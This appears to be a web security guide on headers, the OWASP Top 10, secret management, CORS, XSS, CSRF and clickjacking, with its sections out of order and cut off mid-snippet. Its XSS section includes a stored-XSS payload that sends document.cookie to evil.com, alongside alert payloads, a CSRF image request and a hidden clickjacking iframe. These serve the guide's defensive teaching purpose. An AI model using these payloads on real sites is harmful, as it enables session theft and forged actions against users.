res.setHeader('Referrer-Policy', 'origin-when-cross-origin');
// Send full URL for same-origin and HTTPS cross-origin
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
// Send full URL for HTTPS->HTTPS, nothing for HTTPS->HTTP
res.setHeader('Referrer-Policy', 'strict-origin');
// Recommended for most applications
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
Permissions-Policyโ
// Disable sensitive features
res.setHeader('Permissions-Policy', [
'camera=()',
'microphone=()',
'geolocation=()',
'interest-cohort=()', // Disable FLoC
'payment=()',
'usb=()',
'magnetometer=()',
'gyroscope=()',
'speaker=()'
].join(', '));
// Allow specific features for same-origin
res.setHeader('Permissions-Policy', 'geolocation=(self), microphone=(self)');
// Allow for specific origins
res.setHeader('Permissions-Policy', 'geolocation=(self "https://maps.example.com")');
Complete Header Configurationโ
Next.js (next.config.js):
module.exports = {
async headers() {
return [
{
source: '/:path*',
headers: [
{
key: 'Strict-Transport-Security',
value: 'max-age=63072000; includeSubDomains; preload'
},
{
key: 'X-Frame-Options',
value: 'DENY'
},
{
key: 'X-Content-Type-Options',
value: 'nosniff'
},
{
key: 'Referrer-Policy',
value: 'strict-origin-when-cross-origin'
},
{
key: 'Permissions-Policy',
value: 'camera=(), microphone=(), geolocation=()'
}
]
}
];
}
};
9. OWASP Top 10 Deep Diveโ
A01: Broken Access Controlโ
Examples:
- Accessing resources without authentication
- Bypassing access control checks
- IDOR vulnerabilities
- Privilege escalation
- CORS misconfiguration
Prevention:
// Centralized authorization
class AccessControl {
static can(user, action, resource) {
// Check user role
if (!user || !user.role) return false;
// Admin can do everything
if (user.role === 'admin') return true;
// Resource-specific checks
switch (action) {
case 'read':
return resource.visibility === 'public' || resource.ownerId === user.id;
case 'update':
case 'delete':
return resource.ownerId === user.id;
default:
return false;
}
}
}
// Middleware
function requireAccess(action) {
return async (req, res, next) => {
const resource = await getResource(req.params.id);
if (!AccessControl.can(req.user, action, resource)) {
return res.status(403).json({ error: 'Forbidden' });
}
req.resource = resource;
next();
};
}
// Usage
app.put('/api/posts/:id',
authenticateToken,
requireAccess('update'),
updatePost
);
A02: Cryptographic Failuresโ
Common Issues:
- Storing passwords in plain text
- Weak encryption algorithms
- Using deprecated protocols (FTP, Telnet)
- Transmitting sensitive data over HTTP
- Weak key management
Prevention:
// Strong password hashing
const argon2 = require('argon2');
async function hashPassword(password) {
return await argon2.hash(password, {
type: argon2.argon2id,
memoryCost: 2 ** 16,
timeCost: 3,
parallelism: 1
});
}
// Encryption at rest
const crypto = require('crypto');
const ALGORITHM = 'aes-256-gcm';
const KEY = crypto.scryptSync(process.env.ENCRYPTION_KEY, 'salt', 32);
function encrypt(text) {
const iv = crypto.randomBytes(16);
const cipher = crypto.createCipheriv(ALGORITHM, KEY, iv);
let encrypted = cipher.update(text, 'utf8', 'hex');
encrypted += cipher.final('hex');
const authTag = cipher.getAuthTag();
return {
encrypted,
iv: iv.toString('hex'),
authTag: authTag.toString('hex')
};
}
function decrypt(encrypted, iv, authTag) {
const decipher = crypto.createDecipheriv(
ALGORITHM,
KEY,
Buffer.from(iv, 'hex')
);
decipher.setAuthTag(Buffer.from(authTag, 'hex'));
let decrypted = decipher.update(encrypted, 'hex', 'utf8');
decrypted += decipher.final('utf8');
return decrypted;
}
// Secure data transmission
app.use((req, res, next) => {
if (!req.secure && process.env.NODE_ENV === 'production') {
return res.redirect(301, `https://${req.headers.host}${req.url}`);
}
next();
});
A03: Injectionโ
Types:
- SQL Injection
- NoSQL Injection
- OS Command Injection
- LDAP Injection
- XPath Injection
Prevention (already covered in detail above):
- Use parameterized queries
- Input validation
- Least privilege
- Escape special characters
A04: Insecure Designโ
Examples:
- Missing security controls in design phase
- No threat modeling
- Insufficient rate limiting
- Business logic flaws
Prevention:
// Threat modeling example: Money transfer
class TransferService {
async transfer(from, to, amount) {
// Security controls designed from start
// 1. Authentication check
if (!from.isAuthenticated) {
throw new Error('Unauthorized');
}
// 2. Authorization check
if (from.id !== currentUser.id) {
throw new Error('Cannot transfer from another account');
}
// 3. Input validation
if (amount <= 0 || amount > 1000000) {
throw new Error('Invalid amount');
}
// 4. Business logic validation
if (from.balance < amount) {
throw new Error('Insufficient funds');
}
// 5. Rate limiting
const recentTransfers = await this.getRecentTransfers(from.id, 3600000);
if (recentTransfers.length >= 10) {
throw new Error('Transfer limit exceeded');
}
// 6. Fraud detection
if (await this.isSuspicious(from, to, amount)) {
await this.flagForReview(from, to, amount);
throw new Error('Transfer flagged for review');
}
// 7. Atomic transaction
await db.transaction(async (trx) => {
await trx('accounts').where({ id: from.id }).decrement('balance', amount);
await trx('accounts').where({ id: to.id }).increment('balance', amount);
await trx('transfers').insert({ from: from.id, to: to.id, amount, timestamp: Date.now() });
});
// 8. Audit logging
await this.logTransfer(from, to, amount);
// 9. Notification
await this.notifyUsers(from, to, amount);
}
}
A05: Security Misconfigurationโ
Common Issues:
- Default credentials
- Unnecessary features enabled
- Detailed error messages
- Missing security headers
- Outdated software
Prevention:
// Remove default accounts
// Remove unused dependencies
// Disable directory listing
// Hide server version
// Express security
app.disable('x-powered-by');
// Error handling
if (process.env.NODE_ENV === 'production') {
app.use((err, req, res, next) => {
console.error(err); // Log server-side
res.status(500).json({ error: 'Internal server error' }); // Generic client message
});
} else {
app.use((err, req, res, next) => {
console.error(err);
res.status(500).json({ error: err.message, stack: err.stack });
});
}
// Nginx security
server {
# Hide version
server_tokens off;
# Disable directory listing
autoindex off;
# Remove unnecessary methods
if ($request_method !~ ^(GET|POST|PUT|DELETE|HEAD)$ ) {
return 405;
}
}
A06: Vulnerable and Outdated Componentsโ
Prevention:
# Check for vulnerabilities
npm audit
npm audit fix
# Update dependencies
npm outdated
npm update
# Use specific versions (not ranges)
# package.json
{
"dependencies": {
"express": "4.18.2", # Not "^4.18.2"
}
}
# Lock file
npm ci # Use package-lock.json for reproducible builds
# Automated scanning
# GitHub Dependabot
# Snyk
# OWASP Dependency-Check
Monitoring:
// npm-check
const npmCheck = require('npm-check');
async function checkDependencies() {
const currentState = await npmCheck();
currentState.get('packages').forEach(pkg => {
if (pkg.unused) {
console.warn(`Unused package: ${pkg.moduleName}`);
}
if (pkg.bump) {
console.warn(`Update available: ${pkg.moduleName} ${pkg.installed} โ ${pkg.latest}`);
}
});
}
// Run monthly
setInterval(checkDependencies, 30 * 24 * 60 * 60 * 1000);
A07: Identification and Authentication Failuresโ
Prevention:
- Implement MFA
- Secure password reset
- Session management
- Account lockout
Secure Password Reset:
// Generate reset token
async function requestPasswordReset(email) {
const user = await getUserByEmail(email);
if (!user) {
// Don't reveal if email exists
return { success: true };
}
// Generate secure token
const token = crypto.randomBytes(32).toString('hex');
const hashedToken = crypto.createHash('sha256').update(token).digest('hex');
// Store with expiration
await db.query(
'UPDATE users SET reset_token = ?, reset_token_expires = ? WHERE id = ?',
[hashedToken, Date.now() + 3600000, user.id] // 1 hour
);
// Send email with token
await sendEmail(user.email, 'Password Reset', `
Reset your password: https://example.com/reset-password?token=${token}
This link expires in 1 hour.
`);
return { success: true };
}
// Verify and reset
async function resetPassword(token, newPassword) {
const hashedToken = crypto.createHash('sha256').update(token).digest('hex');
const user = await db.query(
'SELECT * FROM users WHERE reset_token = ? AND reset_token_expires > ?',
[hashedToken, Date.now()]
);
if (!user) {
throw new Error('Invalid or expired token');
}
// Validate new password
validatePassword(newPassword);
// Hash new password
const hashedPassword = await argon2.hash(newPassword);
// Update password and clear reset token
await db.query(
'UPDATE users SET password = ?, reset_token = NULL, reset_token_expires = NULL, token_version = token_version + 1 WHERE id = ?',
[hashedPassword, user.id]
);
// Invalidate all sessions
await invalidateAllSessions(user.id);
// Notify user
await sendEmail(user.email, 'Password Changed', 'Your password has been successfully changed.');
return { success: true };
}
A08: Software and Data Integrity Failuresโ
Prevention:
// Subresource Integrity for CDN resources
<script
src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
</script>
// Verify package integrity
npm ci --prefer-offline
// Code signing
# Sign releases
gpg --sign --armor release.tar.gz
# Verify signature
gpg --verify release.tar.gz.asc
// CI/CD pipeline security
# Use signed commits
git commit -S -m "Commit message"
# Verify commits
git verify-commit HEAD
# Secure environment variables
# Never commit secrets
# Use secret management (AWS Secrets Manager, HashiCorp Vault)
A09: Security Logging and Monitoring Failuresโ
Implementation:
const winston = require('winston');
const expressWinston = require('express-winston');
// Configure logger
const logger = winston.createLogger({
level: 'info',
format: winston.format.combine(
winston.format.timestamp(),
winston.format.errors({ stack: true }),
winston.format.json()
),
defaultMeta: { service: 'api-server' },
transports: [
new winston.transports.File({ filename: 'error.log', level: 'error' }),
new winston.transports.File({ filename: 'combined.log' })
]
});
// Log all requests
app.use(expressWinston.logger({
transports: [
new winston.transports.File({ filename: 'access.log' })
],
format: winston.format.combine(
winston.format.timestamp(),
winston.format.json()
),
meta: true,
msg: "HTTP {{req.method}} {{req.url}}",
expressFormat: true,
colorize: false
}));
// Log security events
function logSecurityEvent(event, details) {
logger.warn('Security Event', {
event,
...details,
timestamp: new Date().toISOString()
});
// Alert if critical
if (event === 'multiple_failed_logins' || event === 'suspicious_activity') {
alertSecurityTeam(event, details);
}
}
// Monitor failed logins
app.post('/login', async (req, res) => {
const { email, password } = req.body;
const user = await authenticateUser(email, password);
if (!user) {
logSecurityEvent('failed_login', {
email,
ip: req.ip,
userAgent: req.headers['user-agent']
});
// Check for brute force
const recentFailures = await getRecentFailedLogins(email, 900000); // 15 min
if (recentFailures >= 5) {
logSecurityEvent('multiple_failed_logins', { email, count: recentFailures });
}
return res.status(401).json({ error: 'Invalid credentials' });
}
logSecurityEvent('successful_login', {
userId: user.id,
ip: req.ip
});
res.json({ success: true });
});
// Anomaly detection
function detectAnomalies(userId) {
const recentActivity = getUserActivity(userId, 3600000); // 1 hour
// Check for suspicious patterns
if (recentActivity.uniqueIPs > 5) {
logSecurityEvent('suspicious_activity', {
userId,
reason: 'Multiple IPs',
count: recentActivity.uniqueIPs
});
}
if (recentActivity.apiCalls > 1000) {
logSecurityEvent('suspicious_activity', {
userId,
reason: 'Excessive API calls',
count: recentActivity.apiCalls
});
}
}
A10: Server-Side Request Forgery (SSRF)โ
Prevention (covered earlier, additional examples):
// Whitelist approach
const ALLOWED_HOSTS = new Set([
'api.github.com',
'api.stripe.com',
'api.sendgrid.com'
]);
async function fetchExternal(url) {
const parsed = new URL(url);
if (!ALLOWED_HOSTS.has(parsed.hostname)) {
throw new Error('Host not allowed');
}
const response = await axios.get(url, {
timeout: 5000,
maxRedirects: 0,
validateStatus: status => status === 200
});
return response.data;
}
// Use proxy for external requests
const HttpsProxyAgent = require('https-proxy-agent');
const agent = new HttpsProxyAgent('http://proxy.internal:8080');
await axios.get(url, { httpsAgent: agent });
10. Modern Security Practicesโ
Zero Trust Architectureโ
Principles:
- Never trust, always verify
- Assume breach
- Verify explicitly
- Use least privilege access
- Segment access
Implementation:
// Every request requires authentication and authorization
app.use('/api/*', authenticateToken);
// Context-aware access control
function contextAwareAuth(req, res, next) {
const context = {
user: req.user,
ip: req.ip,
device: req.headers['user-agent'],
time: Date.now(),
location: req.headers['cf-ipcountry'] // Cloudflare
};
// Risk assessment
const risk = assessRisk(context);
if (risk > 0.7) {
// Require additional authentication
return res.status(403).json({
error: 'Additional authentication required',
requiresMFA: true
});
}
next();
}
// Micro-segmentation
const userService = axios.create({
baseURL: 'http://user-service:3001',
headers: { 'X-Service-Token': process.env.SERVICE_TOKEN }
});
const paymentService = axios.create({
baseURL: 'http://payment-service:3002',
headers: { 'X-Service-Token': process.env.SERVICE_TOKEN }
});
Supply Chain Securityโ
Package Verification:
# Verify package signatures
npm install --ignore-scripts
# Use lockfile
npm ci
# Audit dependencies
npm audit
npm audit fix
# Check for known vulnerabilities
npx snyk test
# Use private registry
npm config set registry https://registry.internal.company.com
Dependency Management:
// package.json - Pin exact versions
{
"dependencies": {
"express": "4.18.2",
"helmet": "7.0.0"
},
"devDependencies": {
"jest": "29.5.0"
}
}
// .npmrc
package-lock=true
save-exact=true
Subresource Integrity:
<!-- Generate SRI hash -->
<script
src="https://cdn.example.com/app.js"
integrity="sha384-<hash>"
crossorigin="anonymous">
</script>
<link
rel="stylesheet"
href="https://cdn.example.com/style.css"
integrity="sha384-<hash>"
crossorigin="anonymous">
Secret Managementโ
Using Environment Variables:
// .env (never commit!)
DATABASE_URL=postgresql://user:pass@localhost/db
API_KEY=abc123secret
JWT_SECRET=supersecretkey
// Load with dotenv
require('dotenv').config();
const dbUrl = process.env.DATABASE_URL;
Using Secret Management Services:
// AWS Secrets Manager
const AWS = require('aws-sdk');
const secretsManager = new AWS.SecretsManager({ region: 'us-east-1' });
async function getSecret(secretName) {
const data = await secretsManager.getSecretValue({ SecretId: secretName }).promise();
return JSON.parse(data.SecretString);
}
const dbCredentials = await getSecret('prod/database');
// HashiCorp Vault
const vault = require('node-vault')({
endpoint: 'http://vault.internal:8200',
token: process.env.VAULT_TOKEN
});
const secrets = await vault.read('secret/data/myapp');
const apiKey = secrets.data.data.api_key;
Secrets in CI/CD:
# GitHub Actions
name: Deploy
on: [push]
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Deploy
env:
API_KEY: ${{ secrets.API_KEY }}
run: |
echo "Deploying with API key"
Security Monitoring & Loggingโ
Centralized Logging:
// Send logs to external service
const { createLogger, transports } = require('winston');
const { LogtailTransport } = require('@logtail/winston');
const logger = createLogger({
transports: [
new LogtailTransport({ sourceToken: process.env.LOGTAIL_TOKEN }),
new transports.Console()
]
});
logger.info('Application started', { version: '1.0.0' });
logger.error('Database connection failed', { error: err.message });
Metrics & Alerts:
// Prometheus metrics
const promClient = require('prom-client');
const register = new promClient.Registry();
// Custom metrics
const httpRequestDuration = new promClient.Histogram({
name: 'http_request_duration_seconds',
help: 'Duration of HTTP requests in seconds',
labelNames: ['method', 'route', 'status_code'],
registers: [register]
});
app.use((req, res, next) => {
const start = Date.now();
res.on('finish', () => {
const duration = (Date.now() - start) / 1000;
httpRequestDuration
.labels(req.method, req.route?.path || req.path, res.statusCode# ๐ Complete Web Security Guide
> A comprehensive guide covering web security fundamentals, common vulnerabilities, and modern best practices for building secure web applications.
---
## ๐ Table of Contents
1. [Introduction to Web Security](#1-introduction-to-web-security)
- [What is Web Security?](#what-is-web-security)
- [Why Web Security Matters](#why-web-security-matters)
- [Security Layers](#security-layers)
2. [Core Security Principles](#2-core-security-principles)
- [CIA Triad](#cia-triad)
- [AAA Framework](#aaa-framework)
- [Defense in Depth](#defense-in-depth)
- [Principle of Least Privilege](#principle-of-least-privilege)
3. [Browser & Frontend Security](#3-browser--frontend-security)
- [Same-Origin Policy (SOP)](#same-origin-policy-sop)
- [Cross-Origin Resource Sharing (CORS)](#cross-origin-resource-sharing-cors)
- [Cross-Site Scripting (XSS)](#cross-site-scripting-xss)
- [Cross-Site Request Forgery (CSRF)](#cross-site-request-forgery-csrf)
- [Clickjacking](#clickjacking)
- [Content Security Policy (CSP)](#content-security-policy-csp)
- [Subresource Integrity (SRI)](#subresource-integrity-sri)
4. [Cookie Security](#4-cookie-security)
- [Cookie Flags Explained](#cookie-flags-explained)
- [Cookie Best Practices](#cookie-best-practices)
- [Session Management](#session-management)
5. [Authentication & Authorization](#5-authentication--authorization)
- [Authentication Methods](#authentication-methods)
- [Password Security](#password-security)
- [JSON Web Tokens (JWT)](#json-web-tokens-jwt)
- [OAuth 2.0 & OpenID Connect](#oauth-20--openid-connect)
- [Multi-Factor Authentication (MFA)](#multi-factor-authentication-mfa)
- [WebAuthn & Passkeys](#webauthn--passkeys)
- [Authorization Patterns](#authorization-patterns)
6. [Backend & API Security](#6-backend--api-security)
- [Input Validation](#input-validation)
- [SQL Injection](#sql-injection)
- [NoSQL Injection](#nosql-injection)
- [Command Injection](#command-injection)
- [Insecure Direct Object References (IDOR)](#insecure-direct-object-references-idor)
- [Server-Side Request Forgery (SSRF)](#server-side-request-forgery-ssrf)
- [XML External Entity (XXE)](#xml-external-entity-xxe)
- [API Security Best Practices](#api-security-best-practices)
7. [Transport & Network Security](#7-transport--network-security)
- [HTTPS & TLS](#https--tls)
- [Certificate Management](#certificate-management)
- [HTTP Strict Transport Security (HSTS)](#http-strict-transport-security-hsts)
- [DNS Security](#dns-security)
- [DDoS Protection](#ddos-protection)
8. [Security Headers](#8-security-headers)
- [Essential Headers Overview](#essential-headers-overview)
- [Content-Security-Policy](#content-security-policy-detailed)
- [X-Frame-Options](#x-frame-options)
- [X-Content-Type-Options](#x-content-type-options)
- [Referrer-Policy](#referrer-policy)
- [Permissions-Policy](#permissions-policy)
- [Complete Header Configuration](#complete-header-configuration)
9. [OWASP Top 10 Deep Dive](#9-owasp-top-10-deep-dive)
- [A01 Broken Access Control](#a01-broken-access-control)
- [A02 Cryptographic Failures](#a02-cryptographic-failures)
- [A03 Injection](#a03-injection)
- [A04 Insecure Design](#a04-insecure-design)
- [A05 Security Misconfiguration](#a05-security-misconfiguration)
- [A06 Vulnerable Components](#a06-vulnerable-components)
- [A07 Authentication Failures](#a07-authentication-failures)
- [A08 Software/Data Integrity Failures](#a08-softwaredata-integrity-failures)
- [A09 Logging & Monitoring Failures](#a09-logging--monitoring-failures)
- [A10 Server-Side Request Forgery](#a10-server-side-request-forgery)
10. [Modern Security Practices](#10-modern-security-practices)
- [Zero Trust Architecture](#zero-trust-architecture)
- [Supply Chain Security](#supply-chain-security)
- [Dependency Management](#dependency-management)
- [Secret Management](#secret-management)
- [Security Monitoring & Logging](#security-monitoring--logging)
- [Incident Response](#incident-response)
11. [Framework-Specific Security](#11-framework-specific-security)
- [React Security](#react-security)
- [Next.js Security](#nextjs-security)
- [Node.js/Express Security](#nodejsexpress-security)
- [REST API Security](#rest-api-security)
- [GraphQL Security](#graphql-security)
12. [Testing & Auditing](#12-testing--auditing)
- [Security Testing Approaches](#security-testing-approaches)
- [Penetration Testing](#penetration-testing)
- [Static Application Security Testing (SAST)](#static-application-security-testing-sast)
- [Dynamic Application Security Testing (DAST)](#dynamic-application-security-testing-dast)
- [Security Audit Checklist](#security-audit-checklist)
13. [Compliance & Standards](#13-compliance--standards)
- [GDPR](#gdpr)
- [PCI DSS](#pci-dss)
- [HIPAA](#hipaa)
- [SOC 2](#soc-2)
14. [Security Checklists](#14-security-checklists)
- [Frontend Security Checklist](#frontend-security-checklist)
- [Backend Security Checklist](#backend-security-checklist)
- [API Security Checklist](#api-security-checklist)
- [Deployment Security Checklist](#deployment-security-checklist)
15. [Resources & Tools](#15-resources--tools)
---
## 1. Introduction to Web Security
### What is Web Security?
Web security encompasses all practices, technologies, and processes designed to protect web applications, their users, and data from unauthorized access, attacks, and exploitation. It's a continuous process of identifying vulnerabilities and implementing protective measures.
**Key Components:**
- **Application Security**: Protecting the code and logic
- **Data Security**: Protecting sensitive information
- **Network Security**: Protecting communication channels
- **Infrastructure Security**: Protecting servers and hosting environments
### Why Web Security Matters
**Real-World Impact:**
- **Data Breaches**: Average cost of $4.45M per breach (2023)
- **Reputation Damage**: Loss of customer trust
- **Legal Consequences**: GDPR fines up to โฌ20M or 4% of revenue
- **Business Disruption**: Downtime and lost revenue
**Common Attack Vectors:**
- 43% of cyberattacks target small businesses
- 95% of cybersecurity breaches are due to human error
- Web applications are involved in 26% of data breaches
### Security Layers
Web security should be implemented across three layers:
1. **Client Layer (Browser/Frontend)**
- Input validation
- Secure cookie handling
- XSS prevention
- CSRF protection
2. **Server Layer (Backend/APIs)**
- Authentication & authorization
- SQL injection prevention
- Rate limiting
- Secure session management
3. **Network Layer (Infrastructure)**
- HTTPS/TLS encryption
- Firewall configuration
- DDoS protection
- DNS security
---
## 2. Core Security Principles
### CIA Triad
The foundation of information security:
**1. Confidentiality**
- Data is accessible only to authorized parties
- Encryption at rest and in transit
- Access control mechanisms
- Data classification
**2. Integrity**
- Data remains accurate and unaltered
- Hash functions for verification
- Digital signatures
- Audit trails
**3. Availability**
- Systems remain accessible to authorized users
- Redundancy and backups
- DDoS protection
- Disaster recovery plans
### AAA Framework
**Authentication** - *Who are you?*
- Verifying identity
- Username/password, biometrics, tokens
- Multi-factor authentication
**Authorization** - *What can you do?*
- Determining access rights
- Role-based access control (RBAC)
- Attribute-based access control (ABAC)
**Accounting/Auditing** - *What did you do?*
- Tracking user activities
- Logging and monitoring
- Compliance and forensics
### Defense in Depth
Multiple layers of security controls:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ Perimeter Security (WAF) โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค โ Network Security (Firewall) โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค โ Application Security โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค โ Data Security (Encryption) โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค โ Physical Security โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
### Principle of Least Privilege
Grant minimum access necessary:
- Users get only required permissions
- Time-limited access tokens
- Separation of duties
- Regular permission audits
---
## 3. Browser & Frontend Security
### Same-Origin Policy (SOP)
**What It Is:**
The cornerstone of web security. Prevents scripts from one origin from accessing data from another origin.
**Origin Definition:**
Origin = Protocol + Domain + Port
โ Same Origin: https://example.com:443/page1 https://example.com:443/page2
โ Different Origin: https://example.com vs http://example.com (protocol) https://example.com vs https://api.example.com (subdomain) https://example.com:443 vs https://example.com:8080 (port)
**What SOP Protects:**
- DOM access
- Cookie access
- AJAX requests
- LocalStorage/SessionStorage
**Best Practices:**
โ
**Use:** Rely on SOP as foundational protection
โ
**Use:** CORS for controlled cross-origin access
โ **Avoid:** Disabling SOP (never do this)
โ **Avoid:** Using JSONP (outdated and insecure)
### Cross-Origin Resource Sharing (CORS)
**What It Is:**
Mechanism to relax Same-Origin Policy in a controlled manner.
**How It Works:**
```http
# Browser sends preflight request
OPTIONS /api/data HTTP/1.1
Origin: https://frontend.com
Access-Control-Request-Method: POST
# Server responds
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://frontend.com
Access-Control-Allow-Methods: POST, GET
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 3600
Configuration Examples:
Express.js:
const cors = require('cors');
// โ INSECURE - Never do this in production
app.use(cors({
origin: '*',
credentials: true
}));
// โ
SECURE - Whitelist specific origins
app.use(cors({
origin: ['https://app.example.com', 'https://admin.example.com'],
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
maxAge: 86400
}));
// โ
SECURE - Dynamic validation
app.use(cors({
origin: function (origin, callback) {
const allowedOrigins = process.env.ALLOWED_ORIGINS.split(',');
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true
}));
Best Practices:
โ
Use: Specific origin whitelist
โ
Use: Credentials only with trusted origins
โ
Use: Appropriate methods and headers
โ Avoid: Access-Control-Allow-Origin: * with credentials
โ Avoid: Reflecting origin header without validation
โ Avoid: Overly permissive configurations
Common Mistakes:
// โ DANGEROUS - Reflects any origin with credentials
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', req.headers.origin);
res.header('Access-Control-Allow-Credentials', 'true');
next();
});
// โ
SAFE - Validates before reflecting
const allowedOrigins = ['https://app.example.com'];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.header('Access-Control-Allow-Origin', origin);
res.header('Access-Control-Allow-Credentials', 'true');
}
next();
});
Cross-Site Scripting (XSS)โ
What It Is: Injecting malicious scripts into trusted websites that execute in victims' browsers.
Types of XSS:
1. Stored XSS (Most Dangerous)
// Attacker submits comment:
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
// Stored in database, executed for all users viewing the comment
2. Reflected XSS
// URL: https://example.com/search?q=<script>alert(1)</script>
// Server reflects input:
<div>Search results for: <script>alert(1)</script></div>
3. DOM-Based XSS
// URL: https://example.com/#<img src=x onerror=alert(1)>
// Vulnerable JavaScript:
document.body.innerHTML = location.hash.slice(1);
Prevention Strategies:
1. Output Encoding:
// โ VULNERABLE
function displayName(name) {
document.getElementById('output').innerHTML = name;
}
// โ
SAFE - Use textContent
function displayName(name) {
document.getElementById('output').textContent = name;
}
// โ
SAFE - HTML encode
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
2. React (Automatic Escaping):
// โ
SAFE - Automatic escaping
function UserGreeting({ username }) {
return <div>Hello, {username}</div>;
}
// โ DANGEROUS - Bypasses escaping
function UnsafeComponent({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
// โ
SAFE - Sanitize first
import DOMPurify from 'dompurify';
function SafeComponent({ html }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
3. Content Security Policy:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-2726c7f26c';
style-src 'self' 'unsafe-inline';
img-src 'self' https://cdn.example.com;
object-src 'none';
4. Input Validation:
// Server-side validation
const validateUsername = (username) => {
const regex = /^[a-zA-Z0-9_-]{3,20}$/;
if (!regex.test(username)) {
throw new Error('Invalid username format');
}
return username;
};
// Sanitization library
const sanitizeHtml = require('sanitize-html');
const clean = sanitizeHtml(dirtyHtml, {
allowedTags: ['b', 'i', 'em', 'strong', 'a', 'p'],
allowedAttributes: {
'a': ['href']
},
allowedSchemes: ['http', 'https', 'mailto']
});
Best Practices: โ Use: Framework's built-in escaping (React, Vue, Angular) โ Use: DOMPurify for HTML sanitization โ Use: Content Security Policy โ Use: HTTPOnly cookies for sensitive data โ Avoid: innerHTML with user input โ Avoid: eval() with untrusted data โ Avoid: document.write() โ Avoid: Disabling framework protections
Cross-Site Request Forgery (CSRF)โ
What It Is: Forcing authenticated users to perform unwanted actions.
Attack Example:
<!-- Attacker's malicious website -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<!-- User is logged into bank.com, browser automatically sends cookies -->
Prevention Strategies:
1. CSRF Tokens (Synchronizer Token Pattern):
// Express middleware
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });
app.get('/form', csrfProtection, (req, res) => {
res.render('form', { csrfToken: req.csrfToken() });
});
app.post('/submit', csrfProtection, (req, res) => {
// Token validated automatically
res.send('Success');
});
<!-- HTML form -->
<form method="POST" action="/submit">
<input type="hidden" name="_csrf" value="{{csrfToken}}">
<button type="submit">Submit</button>
</form>
2. SameSite Cookies:
// Set cookies with SameSite attribute
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict', // or 'lax'
maxAge: 3600000
});
SameSite Values:
Strict: Cookie sent only for same-site requestsLax: Cookie sent for top-level navigation (default in modern browsers)None: Cookie sent for all requests (requiresSecure)
3. Double Submit Cookie:
// Set CSRF token in cookie AND require it in request
app.use((req, res, next) => {
const token = generateToken();
res.cookie('csrf-token', token, { sameSite: 'strict' });
req.csrfToken = token;
next();
});
// Validate token
app.post('/api/*', (req, res, next) => {
const cookieToken = req.cookies['csrf-token'];
const headerToken = req.headers['x-csrf-token'];
if (!cookieToken || cookieToken !== headerToken) {
return res.status(403).json({ error: 'Invalid CSRF token' });
}
next();
});
4. Custom Request Headers:
// Frontend - Add custom header
fetch('/api/data', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest' // CSRF mitigation
},
credentials: 'include',
body: JSON.stringify(data)
});
// Backend - Verify header presence
app.post('/api/*', (req, res, next) => {
if (!req.headers['x-requested-with']) {
return res.status(403).json({ error: 'Missing required header' });
}
next();
});
Best Practices: โ Use: SameSite=Lax or Strict for session cookies โ Use: CSRF tokens for state-changing operations โ Use: Custom headers for API requests โ Use: GET for read-only operations โ Avoid: GET requests for state changes โ Avoid: Relying solely on cookies for authentication โ Avoid: CORS misconfiguration that allows credential sharing
Clickjackingโ
What It Is: Tricking users into clicking on something different from what they perceive.
Attack Example:
<!-- Attacker's website -->
<iframe
src="https://bank.com/transfer"
style="opacity: 0; position: absolute; top: 0; left: 0;">
</iframe>
<button style="position: absolute; top: 100px; left: 100px;">
Click for free prize!
</button>
Prevention:
1. X-Frame-Options Header:
X-Frame-Options: DENY
# or
X-Frame-Options: SAMEORIGIN
// Express
app.use((req, res, next) => {
res.setHeader('X-Frame-Options', 'DENY');
next();
});
// Helmet.js
const helmet = require('helmet');
app.use(helmet.frameguard({ action: 'deny' }));
2. Content-Security-Policy:
Content-Security-Policy: frame-ancestors 'none';
# or
Content-Security-Policy: frame-ancestors 'self' https://trusted.com;
3. JavaScript Frame-Busting (Legacy):
// Not recommended as primary defense
if (top !== self) {
top.location = self.location;
}
Best Practices: โ Use: CSP frame-ancestors (modern approach) โ Use: X-Frame-Options as fallback โ Use: Both headers for maximum compatibility โ Avoid: Relying only on JavaScript frame-busting โ Avoid: Allowing your site to be framed unnecessarily
Content Security Policy (CSP)โ
What It Is: HTTP header that controls resources the browser is allowed to load.
Basic CSP:
Content-Security-Policy: default-src 'self'
Comprehensive CSP Example:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https://images.example.com;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests;
Directive Breakdown:
// Express implementation
app.use((req, res, next) => {
const nonce = generateNonce();
res.locals.nonce = nonce;
